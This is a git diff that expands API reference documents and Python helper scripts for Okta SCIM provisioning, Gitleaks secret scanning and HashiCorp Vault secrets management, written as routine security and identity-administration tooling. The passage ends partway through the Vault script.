Step 1: Create SAML Application in Okta 1. Navigate to Applications > Create App Integration diff --git a/skills/implementing-scim-provisioning-with-okta/SKILL.md b/skills/implementing-scim-provisioning-with-okta/SKILL.md index e295c895..be28deff 100644 --- a/skills/implementing-scim-provisioning-with-okta/SKILL.md +++ b/skills/implementing-scim-provisioning-with-okta/SKILL.md @@ -58,7 +58,7 @@ Okta (IdP) ──SCIM 2.0 over HTTPS──> SCIM Server ──> Application Data 4. **Users** (`/scim/v2/Users`): User lifecycle operations 5. **Groups** (`/scim/v2/Groups`): Group management operations -## Implementation Steps +## Workflow ### Step 1: Build SCIM 2.0 API Server diff --git a/skills/implementing-scim-provisioning-with-okta/references/api-reference.md b/skills/implementing-scim-provisioning-with-okta/references/api-reference.md index 91b9211f..1fa2ebbd 100644 --- a/skills/implementing-scim-provisioning-with-okta/references/api-reference.md +++ b/skills/implementing-scim-provisioning-with-okta/references/api-reference.md @@ -1,27 +1,178 @@ -# API Reference: Okta SCIM provisioning audit +# API Reference: Okta SCIM 2.0 Provisioning -## API Details -SCIM 2.0: GET /Users, POST /Users, PATCH /Users/{id}, GET /Groups, schema discovery +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `requests` | HTTP client for SCIM 2.0 and Okta Management API | +| `json` | Parse SCIM user and group payloads | +| `os` | Read `OKTA_DOMAIN`, `OKTA_API_TOKEN`, `SCIM_BASE_URL` | ## Installation + ```bash pip install requests ``` -## Libraries - -| Library | Use | -|---------|-----| -| `requests` | requests client/SDK | - ## Authentication -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +### Okta Management API +```python +import requests +import os + +OKTA_DOMAIN = os.environ["OKTA_DOMAIN"] # e.g., "dev-12345.okta.com" +OKTA_TOKEN = os.environ["OKTA_API_TOKEN"] +headers = { + "Authorization": f"SSWS {OKTA_TOKEN}", + "Content-Type": "application/json", + "Accept": "application/json", +} +``` + +### SCIM 2.0 Endpoint (Bearer Token) +```python +SCIM_URL = os.environ["SCIM_BASE_URL"] # e.g., "https://app.example.com/scim/v2" +scim_headers = { + "Authorization": f"Bearer {os.environ['SCIM_TOKEN']}", + "Content-Type": "application/scim+json", +} +``` + +## SCIM 2.0 Endpoints + +| Method | Endpoint | Description | +|--------|----------|-------------| +| GET | `/scim/v2/Users` | List users with filtering | +| GET | `/scim/v2/Users/{id}` | Get a specific user | +| POST | `/scim/v2/Users` | Create a new user | +| PUT | `/scim/v2/Users/{id}` | Replace a user (full update) | +| PATCH | `/scim/v2/Users/{id}` | Partial user update (activate/deactivate) | +| DELETE | `/scim/v2/Users/{id}` | Delete a user | +| GET | `/scim/v2/Groups` | List groups | +| GET | `/scim/v2/Groups/{id}` | Get a specific group | +| POST | `/scim/v2/Groups` | Create a group | +| PATCH | `/scim/v2/Groups/{id}` | Update group membership | +| GET | `/scim/v2/ServiceProviderConfig` | SCIM service capabilities | +| GET | `/scim/v2/Schemas` | Supported SCIM schemas | +| GET | `/scim/v2/ResourceTypes` | Available resource types | + +## Core Operations + +### List SCIM Users with Filtering +```python +resp = requests.get( + f"{SCIM_URL}/Users", + headers=scim_headers, + params={ + "filter": 'userName eq "alice@example.com"', + "startIndex": 1, + "count": 100, + }, + timeout=30, +) +users = resp.json() +for user in users.get("Resources", []): + print(f"{user['userName']} — active: {user.get('active', True)}") +``` + +### Create a User +```python +new_user = { + "schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"], + "userName": "bob@example.com", + "name": {"givenName": "Bob", "familyName": "Smith"}, + "emails": [ + {"value": "bob@example.com", "type": "work", "primary": True} + ], + "active": True, +} +resp = requests.post( + f"{SCIM_URL}/Users", + headers=scim_headers, + json=new_user, + timeout=30, +) +created = resp.json() +user_id = created["id"] +``` + +### Deactivate a User (PATCH) +```python +deactivate_payload = { + "schemas": ["urn:ietf:params:scim:api:messages:2.0:PatchOp"], + "Operations": [ + {"op": "Replace", "path": "active", "value": False} + ], +} +resp = requests.patch( + f"{SCIM_URL}/Users/{user_id}", + headers=scim_headers, + json=deactivate_payload, + timeout=30, +) +``` + +### Manage Group Membership +```python +add_member = { + "schemas": ["urn:ietf:params:scim:api:messages:2.0:PatchOp"], + "Operations": [ + { + "op": "Add", + "path": "members", + "value": [{"value": user_id, "display": "bob@example.com"}], + } + ], +} +resp = requests.patch( + f"{SCIM_URL}/Groups/{group_id}", + headers=scim_headers, + json=add_member, + timeout=30, +) +``` + +## Okta Management API Endpoints + +| Method | Endpoint | Description | +|--------|----------|-------------| +| GET | `/api/v1/apps` | List applications | +| GET | `/api/v1/apps/{appId}/users` | List users assigned to an app | +| POST | `/api/v1/apps/{appId}/users` | Assign user to app | +| GET | `/api/v1/users` | List Okta users | +| POST | `/api/v1/users/{userId}/lifecycle/deactivate` | Deactivate user | + +### List Okta Applications with SCIM Provisioning +```python +resp = requests.get( + f"https://{OKTA_DOMAIN}/api/v1/apps", + headers=headers, + params={"filter": 'status eq "ACTIVE"', "limit": 50}, + timeout=30, +) +for app in resp.json(): + features = app.get("features", []) + if "PUSH_NEW_USERS" in features or "PUSH_PROFILE_UPDATES" in features: + print(f"SCIM-enabled: {app['label']} — features: {features}") +``` ## Output Format + ```json -{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +{ + "schemas": ["urn:ietf:params:scim:api:messages:2.0:ListResponse"], + "totalResults": 42, + "startIndex": 1, + "itemsPerPage": 100, + "Resources": [ + { + "id": "2819c223-7f76-453a-919d-ab1234567890", + "userName": "alice@example.com", + "name": {"givenName": "Alice", "familyName": "Johnson"}, + "active": true, + "emails": [{"value": "alice@example.com", "type": "work", "primary": true}] + } + ] +} ``` diff --git a/skills/implementing-scim-provisioning-with-okta/scripts/agent.py b/skills/implementing-scim-provisioning-with-okta/scripts/agent.py index 52195955..a31bc59d 100644 --- a/skills/implementing-scim-provisioning-with-okta/scripts/agent.py +++ b/skills/implementing-scim-provisioning-with-okta/scripts/agent.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 """Okta SCIM provisioning audit.""" -import argparse, json, sys +import argparse, json from datetime import datetime, timezone try: import requests diff --git a/skills/implementing-secret-scanning-with-gitleaks/references/api-reference.md b/skills/implementing-secret-scanning-with-gitleaks/references/api-reference.md index 29b22ffa..da6fb0ac 100644 --- a/skills/implementing-secret-scanning-with-gitleaks/references/api-reference.md +++ b/skills/implementing-secret-scanning-with-gitleaks/references/api-reference.md @@ -1,28 +1,180 @@ -# API Reference: Gitleaks secret scanning audit +# API Reference: Gitleaks Secret Scanning -## API Details -gitleaks detect --source=. --report-format=json, custom .gitleaks.toml rules +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `subprocess` | Execute gitleaks CLI commands | +| `json` | Parse gitleaks JSON report output | +| `pathlib` | Handle repository and report file paths | +| `os` | Read `GITLEAKS_CONFIG` environment variable | ## Installation + ```bash -pip install subprocess pathlib +# Install gitleaks binary +# macOS +brew install gitleaks + +# Linux +curl -sSfL https://github.com/gitleaks/gitleaks/releases/latest/download/gitleaks_linux_x64 -o gitleaks +chmod +x gitleaks && sudo mv gitleaks /usr/local/bin/ + +# Docker +docker pull ghcr.io/gitleaks/gitleaks:latest ``` -## Libraries +## CLI Commands -| Library | Use | -|---------|-----| -| `subprocess` | subprocess client/SDK | -| `pathlib` | pathlib client/SDK | +### Scan a Git Repository +```bash +gitleaks git --source=/path/to/repo --report-format=json --report-path=results.json +``` -## Authentication +### Scan a Directory (Non-Git) +```bash +gitleaks dir --source=/path/to/code --report-format=json --report-path=results.json +``` -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +### Scan from stdin +```bash +echo "aws_secret_access_key=AKIAIOSFODNN7EXAMPLE" | gitleaks stdin +``` + +### Key CLI Flags + +| Flag | Description | +|------|-------------| +| `--source` | Path to repository or directory to scan | +| `--config`, `-c` | Path to custom gitleaks.toml config | +| `--report-format`, `-f` | Output format: `json`, `csv`, `junit`, `sarif` | +| `--report-path`, `-r` | Path to write the report file | +| `--baseline-path` | Ignore known findings from baseline file | +| `--exit-code` | Exit code when leaks found (default: 1) | +| `--redact` | Redact secrets in output (percent: 0-100) | +| `--verbose`, `-v` | Show verbose scan output | +| `--no-git` | Treat source as plain directory | +| `--log-level` | Log level: trace, debug, info, warn, error | +| `--max-target-megabytes` | Skip files larger than this size | + +## Custom Configuration (.gitleaks.toml) + +```toml +title = "Custom Gitleaks Config" + +[extend] +useDefault = true # Extend the default ruleset + +[[rules]] +id = "custom-internal-token" +description = "Internal API token pattern" +regex = '''(?i)internal[_-]?token\s*[:=]\s*['"]?([a-zA-Z0-9]{32,})''' +tags = ["internal", "token"] +keywords = ["internal_token", "internal-token"] + +[[rules]] +id = "custom-db-password" +description = "Database password in config" +regex = '''(?i)(db|database|mysql|postgres)[_-]?pass(word)?\s*[:=]\s*['"]?[^\s'"]{8,}''' +tags = ["database", "password"] + +[rules.allowlist] +paths = ['''test/.*''', '''mock/.*'''] +regexTarget = "line" +regexes = ['''(?i)example|placeholder|changeme|test'''] + +[[allowlist.paths]] +regex = '''vendor/.*''' + +[[allowlist.commits]] +sha = "abc123def456" +``` + +## Python Integration + +### Run Gitleaks and Parse Results +```python +import subprocess +import json +from pathlib import Path + +def scan_repository(repo_path, config_path=None): + cmd = [ + "gitleaks", "git", + "--source", str(repo_path), + "--report-format", "json", + "--report-path", "/tmp/gitleaks-report.json", + "--exit-code", "0", + ] + if config_path: + cmd.extend(["--config", str(config_path)]) + + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + + report_path = Path("/tmp/gitleaks-report.json") + if report_path.exists(): + with open(report_path) as f: + findings = json.load(f) + return findings + return [] +``` + +### Categorize Findings by Severity +```python +HIGH_SEVERITY_RULES = { + "aws-access-key", "aws-secret-key", "gcp-api-key", + "github-pat", "private-key", "generic-api-key", +} + +def categorize_findings(findings): + high, medium, low = [], [], [] + for f in findings: + rule = f.get("RuleID", "") + if rule in HIGH_SEVERITY_RULES: + high.append(f) + elif "password" in rule or "token" in rule: + medium.append(f) + else: + low.append(f) + return {"high": high, "medium": medium, "low": low} +``` + +## GitHub Actions Integration + +```yaml +name: Gitleaks Secret Scan +on: [push, pull_request] +jobs: + gitleaks: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 + - uses: gitleaks/gitleaks-action@v2 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} +``` ## Output Format + ```json -{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +[ + { + "Description": "Detected a Generic API Key", + "StartLine": 42, + "EndLine": 42, + "StartColumn": 15, + "EndColumn": 55, + "Match": "REDACTED", + "Secret": "REDACTED", + "File": "config/settings.py", + "Commit": "a1b2c3d4e5f6", + "Author": "developer@example.com", + "Date": "2025-01-15T10:30:00Z", + "RuleID": "generic-api-key", + "Tags": ["api", "key"], + "Fingerprint": "a1b2c3d4:config/settings.py:generic-api-key:42" + } +] ``` diff --git a/skills/implementing-secret-scanning-with-gitleaks/scripts/agent.py b/skills/implementing-secret-scanning-with-gitleaks/scripts/agent.py index 0f21f726..66b5335b 100644 --- a/skills/implementing-secret-scanning-with-gitleaks/scripts/agent.py +++ b/skills/implementing-secret-scanning-with-gitleaks/scripts/agent.py @@ -1,61 +1,215 @@ #!/usr/bin/env python3 -"""Gitleaks secret scanning audit.""" -import argparse, json, sys +"""Gitleaks secret scanning agent. + +Wraps the Gitleaks CLI to scan git repositories, directories, or +specific commits for hardcoded secrets, API keys, tokens, and +credentials. Parses JSON output into structured findings. +""" +import argparse +import json +import os +import subprocess +import sys from datetime import datetime, timezone -try: - import requests -except ImportError: - requests = None -def audit_config(target, token): + +def find_gitleaks_binary(): + """Locate the gitleaks binary on the system.""" + custom_path = os.environ.get("GITLEAKS_PATH") + if custom_path and os.path.isfile(custom_path): + return custom_path + for name in ["gitleaks", "gitleaks.exe"]: + for directory in os.environ.get("PATH", "").split(os.pathsep): + full_path = os.path.join(directory, name) + if os.path.isfile(full_path): + return full_path + print("[!] gitleaks binary not found. Install: https://github.com/gitleaks/gitleaks", + file=sys.stderr) + sys.exit(1) + + +def run_detect(gitleaks_bin, target, config=None, baseline=None, + log_opts=None, no_git=False, verbose=False): + """Run gitleaks detect on a repository or directory.""" + cmd = [gitleaks_bin, "detect"] + if no_git: + cmd.extend(["--no-git", "--source", target]) + else: + cmd.extend(["--source", target]) + cmd.extend(["--report-format", "json", "--report-path", "/dev/stdout"]) + if config: + cmd.extend(["--config", config]) + if baseline: + cmd.extend(["--baseline-path", baseline]) + if log_opts: + cmd.extend(["--log-opts", log_opts]) + if verbose: + cmd.append("--verbose") + cmd.extend(["--exit-code", "0"]) + + print(f"[*] Running: {' '.join(cmd)}") + result = subprocess.run( + cmd, + capture_output=True, + text=True, + timeout=600, + ) + if result.returncode not in (0, 1): + print(f"[!] Gitleaks error (exit {result.returncode}): {result.stderr}", + file=sys.stderr) + return result.stdout, result.stderr, result.returncode + + +def run_protect(gitleaks_bin, target, config=None, staged=False, verbose=False): + """Run gitleaks protect for pre-commit scanning.""" + cmd = [gitleaks_bin, "protect", "--source", target] + cmd.extend(["--report-format", "json", "--report-path", "/dev/stdout"]) + if staged: + cmd.append("--staged") + if config: + cmd.extend(["--config", config]) + if verbose: + cmd.append("--verbose") + cmd.extend(["--exit-code", "0"]) + + print(f"[*] Running protect mode: {' '.join(cmd)}") + result = subprocess.run( + cmd, + capture_output=True, + text=True, + timeout=300, + ) + return result.stdout, result.stderr, result.returncode + + +def parse_findings(raw_json): + """Parse gitleaks JSON output into structured findings.""" findings = [] - if not requests: return [{"error": "requests required"}] - headers = {"Authorization": f"Bearer {token}"} + if not raw_json or not raw_json.strip(): + return findings try: - resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) - if resp.status_code == 200: - data = resp.json() - if not data.get("enabled", True): - findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) - elif resp.status_code == 401: - findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) - except requests.RequestException as e: - findings.append({"error": str(e)}) + results = json.loads(raw_json) + except json.JSONDecodeError: + return findings + if not isinstance(results, list): + results = [results] + for item in results: + secret_val = item.get("Secret", "") + findings.append({ + "rule_id": item.get("RuleID", "unknown"), + "description": item.get("Description", ""), + "secret": secret_val[:8] + "..." if secret_val else "", + "file": item.get("File", ""), + "line": item.get("StartLine", 0), + "commit": (item.get("Commit", "") or "")[:12], + "author": item.get("Author", ""), + "email": item.get("Email", ""), + "date": item.get("Date", ""), + "message": (item.get("Message", "") or "")[:80], + "entropy": item.get("Entropy", 0), + "fingerprint": item.get("Fingerprint", ""), + "tags": item.get("Tags", []), + }) return findings -def check_compliance(target, token): - findings = [] - if not requests: return [] - headers = {"Authorization": f"Bearer {token}"} - try: - resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) - if resp.status_code == 200: - for item in resp.json().get("checks", []): - if item.get("status") != "PASS": - findings.append({"check": item.get("name"), "status": item.get("status"), - "severity": item.get("severity", "MEDIUM")}) - except requests.RequestException: - pass - return findings + +def format_summary(findings, target): + """Print human-readable summary of secrets found.""" + print(f"\n{'='*60}") + print(f" Gitleaks Secret Scan Report") + print(f"{'='*60}") + print(f" Target : {target}") + print(f" Secrets : {len(findings)}") + + if not findings: + print(f" Status : CLEAN - No secrets detected") + print(f"{'='*60}") + return + + by_rule = {} + for f in findings: + rule = f["rule_id"] + by_rule.setdefault(rule, []).append(f) + + print(f"\n Findings by Rule:") + for rule, items in sorted(by_rule.items(), key=lambda x: -len(x[1])): + print(f" {rule:40s}: {len(items)} occurrence(s)") + + by_file = {} + for f in findings: + by_file.setdefault(f["file"], []).append(f) + + print(f"\n Affected Files: {len(by_file)}") + for filepath, items in sorted(by_file.items(), key=lambda x: -len(x[1]))[:10]: + print(f" {filepath} ({len(items)} secret(s))") + + print(f"\n Top Findings:") + for f in findings[:15]: + print(f" [{f['rule_id']:30s}] {f['file']}:{f['line']} " + f"(commit: {f['commit']}, secret: {f['secret']})") + def main(): - p = argparse.ArgumentParser(description="Gitleaks secret scanning audit") - p.add_argument("--target", required=True, help="Target URL") - p.add_argument("--token", required=True, help="API token") - p.add_argument("--output", "-o", help="Output JSON report") - p.add_argument("--verbose", "-v", action="store_true") - a = p.parse_args() - print("[*] Gitleaks secret scanning audit") - report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} - report["findings"].extend(audit_config(a.target, a.token)) - report["findings"].extend(check_compliance(a.target, a.token)) - high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) - report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" - print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") - if a.output: - with open(a.output, "w") as f: json.dump(report, f, indent=2) + parser = argparse.ArgumentParser( + description="Gitleaks secret scanning agent" + ) + parser.add_argument("--target", required=True, + help="Repository path or directory to scan") + parser.add_argument("--mode", choices=["detect", "protect"], default="detect", + help="Scan mode: detect (full history) or protect (pre-commit)") + parser.add_argument("--config", help="Path to custom .gitleaks.toml config") + parser.add_argument("--baseline", help="Path to baseline file for known findings") + parser.add_argument("--log-opts", help="Git log options (e.g., '--since=2026-01-01')") + parser.add_argument("--no-git", action="store_true", + help="Scan files without git history") + parser.add_argument("--staged", action="store_true", + help="Only scan staged changes (protect mode)") + parser.add_argument("--output", "-o", help="Output JSON report path") + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + gitleaks_bin = find_gitleaks_binary() + print(f"[*] Using gitleaks: {gitleaks_bin}") + + if args.mode == "protect": + raw_json, stderr, exit_code = run_protect( + gitleaks_bin, args.target, args.config, args.staged, args.verbose + ) else: + raw_json, stderr, exit_code = run_detect( + gitleaks_bin, args.target, args.config, args.baseline, + args.log_opts, args.no_git, args.verbose + ) + + findings = parse_findings(raw_json) + format_summary(findings, args.target) + + report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "tool": "gitleaks", + "target": args.target, + "mode": args.mode, + "secrets_found": len(findings), + "findings": findings, + "risk_level": ( + "CRITICAL" if len(findings) > 10 + else "HIGH" if len(findings) > 0 + else "LOW" + ), + } + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"\n[+] Report saved to {args.output}") + elif args.verbose: print(json.dumps(report, indent=2)) + if findings: + print(f"\n[!] {len(findings)} secret(s) detected - remediation required") + else: + print(f"\n[+] No secrets detected") + + if __name__ == "__main__": main() diff --git a/skills/implementing-secrets-management-with-vault/references/api-reference.md b/skills/implementing-secrets-management-with-vault/references/api-reference.md index 18894cd4..aa6898e4 100644 --- a/skills/implementing-secrets-management-with-vault/references/api-reference.md +++ b/skills/implementing-secrets-management-with-vault/references/api-reference.md @@ -1,27 +1,176 @@ -# API Reference: HashiCorp Vault secrets management audit +# API Reference: HashiCorp Vault Secrets Management -## API Details -hvac.Client(url, token): read_secret(), write_secret(), sys.list_auth_methods(), seal_status +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `hvac` | Official Python client for HashiCorp Vault API | +| `requests` | HTTP fallback for direct Vault REST calls | +| `json` | Parse Vault JSON responses | +| `os` | Read `VAULT_ADDR` and `VAULT_TOKEN` environment variables | ## Installation + ```bash -pip install hvac +pip install hvac requests ``` -## Libraries - -| Library | Use | -|---------|-----| -| `hvac` | hvac client/SDK | - ## Authentication -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +### Token Authentication +```python +import hvac + +client = hvac.Client( + url=os.environ.get("VAULT_ADDR", "https://127.0.0.1:8200"), + token=os.environ.get("VAULT_TOKEN"), +) +assert client.is_authenticated() +``` + +### AppRole Authentication +```python +client = hvac.Client(url=os.environ["VAULT_ADDR"]) +resp = client.auth.approle.login( + role_id=os.environ["VAULT_ROLE_ID"], + secret_id=os.environ["VAULT_SECRET_ID"], +) +client.token = resp["auth"]["client_token"] +``` + +### Kubernetes Authentication +```python +with open("/var/run/secrets/kubernetes.io/serviceaccount/token") as f: + jwt = f.read() +client.auth.kubernetes.login(role="my-role", jwt=jwt) +``` + +## Core API — KV Secrets Engine v2 + +### Write a Secret +```python +client.secrets.kv.v2.create_or_update_secret( + path="myapp/database", + secret={"username": "admin", "password": "s3cure!"}, + mount_point="secret", +) +``` + +### Read a Secret +```python +resp = client.secrets.kv.v2.read_secret_version( + path="myapp/database", + mount_point="secret", +) +data = resp["data"]["data"] # {"username": "admin", "password": "s3cure!"} +``` + +### List Secrets +```python +resp = client.secrets.kv.v2.list_secrets(path="myapp/", mount_point="secret") +keys = resp["data"]["keys"] # ["database", "api-keys", ...] +``` + +### Delete a Secret +```python +client.secrets.kv.v2.delete_metadata_and_all_versions( + path="myapp/database", + mount_point="secret", +) +``` + +## System Backend — Audit and Health + +### Check Seal Status +```python +status = client.sys.read_seal_status() +# {"sealed": False, "t": 3, "n": 5, "progress": 0} +``` + +### List Auth Methods +```python +methods = client.sys.list_auth_methods() +# {"token/": {...}, "approle/": {...}, ...} +``` + +### List Enabled Secrets Engines +```python +engines = client.sys.list_mounted_secrets_engines() +``` + +### Enable Audit Device +```python +client.sys.enable_audit_device( + device_type="file", + options={"file_path": "/var/log/vault_audit.log"}, +) +``` + +## Transit Secrets Engine — Encryption as a Service + +### Encrypt Data +```python +import base64 +plaintext_b64 = base64.b64encode(b"sensitive-data").decode() +resp = client.secrets.transit.encrypt_data( + name="my-key", + plaintext=plaintext_b64, +) +ciphertext = resp["data"]["ciphertext"] # "vault:v1:..." +``` + +### Decrypt Data +```python +resp = client.secrets.transit.decrypt_data( + name="my-key", + ciphertext=ciphertext, +) +plaintext = base64.b64decode(resp["data"]["plaintext"]) +``` + +## REST API Endpoints (Direct) + +| Method | Endpoint | Description | +|--------|----------|-------------| +| GET | `/v1/sys/health` | Health check and seal status | +| GET | `/v1/sys/seal-status` | Detailed seal status | +| POST | `/v1/auth/token/create` | Create new token | +| GET | `/v1/secret/data/{path}` | Read KV v2 secret | +| POST | `/v1/secret/data/{path}` | Write KV v2 secret | +| LIST | `/v1/secret/metadata/{path}` | List secrets at path | +| DELETE | `/v1/secret/metadata/{path}` | Permanently delete secret | +| POST | `/v1/transit/encrypt/{key}` | Encrypt with transit engine | +| POST | `/v1/transit/decrypt/{key}` | Decrypt with transit engine | + +## Error Handling + +```python +from hvac.exceptions import Forbidden, InvalidPath, VaultError + +try: + secret = client.secrets.kv.v2.read_secret_version(path="missing") +except InvalidPath: + print("Secret path does not exist") +except Forbidden: + print("Insufficient permissions — check Vault policy") +except VaultError as e: + print(f"Vault error: {e}") +``` ## Output Format + ```json -{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +{ + "request_id": "abc-123", + "lease_id": "", + "renewable": false, + "data": { + "data": {"username": "admin", "password": "s3cure!"}, + "metadata": { + "created_time": "2025-01-15T10:30:00.000Z", + "version": 3, + "destroyed": false + } + } +} ``` diff --git a/skills/implementing-secrets-management-with-vault/scripts/agent.py b/skills/implementing-secrets-management-with-vault/scripts/agent.py index 5e3d3179..4ec7d439 100644 --- a/skills/implementing-secrets-management-with-vault/scripts/agent.py +++ b/skills/implementing-secrets-management-with-vault/scripts/agent.py @@ -1,61 +1,272 @@ #!/usr/bin/env python3 -"""HashiCorp Vault secrets management audit.""" -import argparse, json, sys +"""HashiCorp Vault secrets management agent. + +Manages secrets lifecycle using the HashiCorp Vault KV v2 secrets engine +via the hvac Python library. Supports reading, writing, listing, deleting +secrets, and auditing secret access patterns. +""" +import argparse +import json +import os +import sys from datetime import datetime, timezone + try: - import requests + import hvac except ImportError: - requests = None + print("[!] 'hvac' library required: pip install hvac", file=sys.stderr) + sys.exit(1) -def audit_config(target, token): - findings = [] - if not requests: return [{"error": "requests required"}] - headers = {"Authorization": f"Bearer {token}"} - try: - resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) - if resp.status_code == 200: - data = resp.json() - if not data.get("enabled", True): - findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) - elif resp.status_code == 401: - findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) - except requests.RequestException as e: - findings.append({"error": str(e)}) - return findings -def check_compliance(target, token): - findings = [] - if not requests: return [] - headers = {"Authorization": f"Bearer {token}"} +def get_vault_client(addr=None, token=None, namespace=None): + """Create and authenticate a Vault client.""" + vault_addr = addr or os.environ.get("VAULT_ADDR", "http://127.0.0.1:8200") + vault_token = token or os.environ.get("VAULT_TOKEN", "") + vault_ns = namespace or os.environ.get("VAULT_NAMESPACE") + + if not vault_token: + print("[!] Set VAULT_TOKEN env var or use --token", file=sys.stderr) + sys.exit(1) + + client = hvac.Client(url=vault_addr, token=vault_token, namespace=vault_ns) + if not client.is_authenticated(): + print("[!] Vault authentication failed", file=sys.stderr) + sys.exit(1) + print(f"[+] Connected to Vault at {vault_addr}") + return client + + +def write_secret(client, path, data, mount_point="secret"): + """Write or update a secret in KV v2.""" + print(f"[*] Writing secret to {mount_point}/{path}") + response = client.secrets.kv.v2.create_or_update_secret( + path=path, secret=data, mount_point=mount_point, + ) + version = response.get("data", {}).get("version", "unknown") + print(f"[+] Secret written (version: {version})") + return {"path": path, "version": version, "action": "write"} + + +def read_secret(client, path, mount_point="secret", version=None): + """Read a secret from KV v2.""" + print(f"[*] Reading secret from {mount_point}/{path}") + kwargs = {"path": path, "mount_point": mount_point} + if version: + kwargs["version"] = version + response = client.secrets.kv.v2.read_secret_version(**kwargs) + secret_data = response.get("data", {}).get("data", {}) + metadata = response.get("data", {}).get("metadata", {}) + print(f"[+] Secret read (version: {metadata.get('version', '?')}, " + f"created: {metadata.get('created_time', 'unknown')})") + masked = {k: v[:3] + "***" if isinstance(v, str) and len(v) > 3 else "***" + for k, v in secret_data.items()} + return { + "path": path, + "keys": list(secret_data.keys()), + "masked_values": masked, + "version": metadata.get("version"), + "created_time": metadata.get("created_time"), + "deletion_time": metadata.get("deletion_time"), + "destroyed": metadata.get("destroyed"), + } + + +def list_secrets(client, path="", mount_point="secret"): + """List secret paths under a given prefix.""" + print(f"[*] Listing secrets under {mount_point}/{path}") try: - resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) - if resp.status_code == 200: - for item in resp.json().get("checks", []): - if item.get("status") != "PASS": - findings.append({"check": item.get("name"), "status": item.get("status"), - "severity": item.get("severity", "MEDIUM")}) - except requests.RequestException: - pass - return findings + response = client.secrets.kv.v2.list_secrets( + path=path, mount_point=mount_point + ) + keys = response.get("data", {}).get("keys", []) + print(f"[+] Found {len(keys)} entries") + for key in keys: + marker = "/" if key.endswith("/") else " " + print(f" {marker} {key}") + return {"path": path, "entries": keys, "count": len(keys)} + except hvac.exceptions.InvalidPath: + print(f"[*] No secrets found at {mount_point}/{path}") + return {"path": path, "entries": [], "count": 0} + + +def delete_secret(client, path, mount_point="secret", versions=None, destroy=False): + """Delete or destroy a secret.""" + if destroy and versions: + print(f"[*] Permanently destroying versions {versions} at {mount_point}/{path}") + client.secrets.kv.v2.destroy_secret_versions( + path=path, versions=versions, mount_point=mount_point + ) + print(f"[+] Versions {versions} permanently destroyed") + return {"path": path, "action": "destroy", "versions": versions} + elif versions: + print(f"[*] Soft-deleting versions {versions} at {mount_point}/{path}") + client.secrets.kv.v2.delete_secret_versions( + path=path, versions=versions, mount_point=mount_point + ) + print(f"[+] Versions {versions} soft-deleted (recoverable)") + return {"path": path, "action": "soft_delete", "versions": versions} + else: + print(f"[*] Deleting latest version at {mount_point}/{path}") + client.secrets.kv.v2.delete_latest_version_of_secret( + path=path, mount_point=mount_point + ) + print(f"[+] Latest version deleted") + return {"path": path, "action": "delete_latest"} + + +def read_metadata(client, path, mount_point="secret"): + """Read secret metadata including version history.""" + print(f"[*] Reading metadata for {mount_point}/{path}") + response = client.secrets.kv.v2.read_secret_metadata( + path=path, mount_point=mount_point + ) + meta = response.get("data", {}) + versions = meta.get("versions", {}) + print(f"[+] {len(versions)} version(s), max_versions: {meta.get('max_versions', 0)}") + version_info = [] + for ver_num, ver_data in sorted(versions.items(), key=lambda x: int(x[0])): + version_info.append({ + "version": int(ver_num), + "created_time": ver_data.get("created_time"), + "deletion_time": ver_data.get("deletion_time"), + "destroyed": ver_data.get("destroyed", False), + }) + return { + "path": path, + "current_version": meta.get("current_version"), + "max_versions": meta.get("max_versions"), + "cas_required": meta.get("cas_required"), + "created_time": meta.get("created_time"), + "updated_time": meta.get("updated_time"), + "versions": version_info, + } + + +def audit_secrets(client, mount_point="secret", path_prefix=""): + """Audit all secrets under a path, reporting metadata and age.""" + print(f"[*] Auditing secrets under {mount_point}/{path_prefix}") + audit_results = [] + + def _recurse(current_path): + try: + resp = client.secrets.kv.v2.list_secrets( + path=current_path, mount_point=mount_point + ) + except hvac.exceptions.InvalidPath: + return + keys = resp.get("data", {}).get("keys", []) + for key in keys: + full_path = f"{current_path}{key}" if current_path else key + if key.endswith("/"): + _recurse(full_path) + else: + try: + meta_resp = client.secrets.kv.v2.read_secret_metadata( + path=full_path, mount_point=mount_point + ) + meta = meta_resp.get("data", {}) + audit_results.append({ + "path": full_path, + "current_version": meta.get("current_version"), + "created_time": meta.get("created_time"), + "updated_time": meta.get("updated_time"), + "version_count": len(meta.get("versions", {})), + }) + except Exception as e: + audit_results.append({"path": full_path, "error": str(e)}) + + _recurse(path_prefix) + print(f"[+] Audited {len(audit_results)} secret(s)") + for item in audit_results: + if "error" in item: + print(f" [ERR] {item['path']}: {item['error']}") + else: + print(f" {item['path']:40s} v{item['current_version']} " + f"(updated: {str(item.get('updated_time', 'N/A'))[:19]})") + return audit_results + def main(): - p = 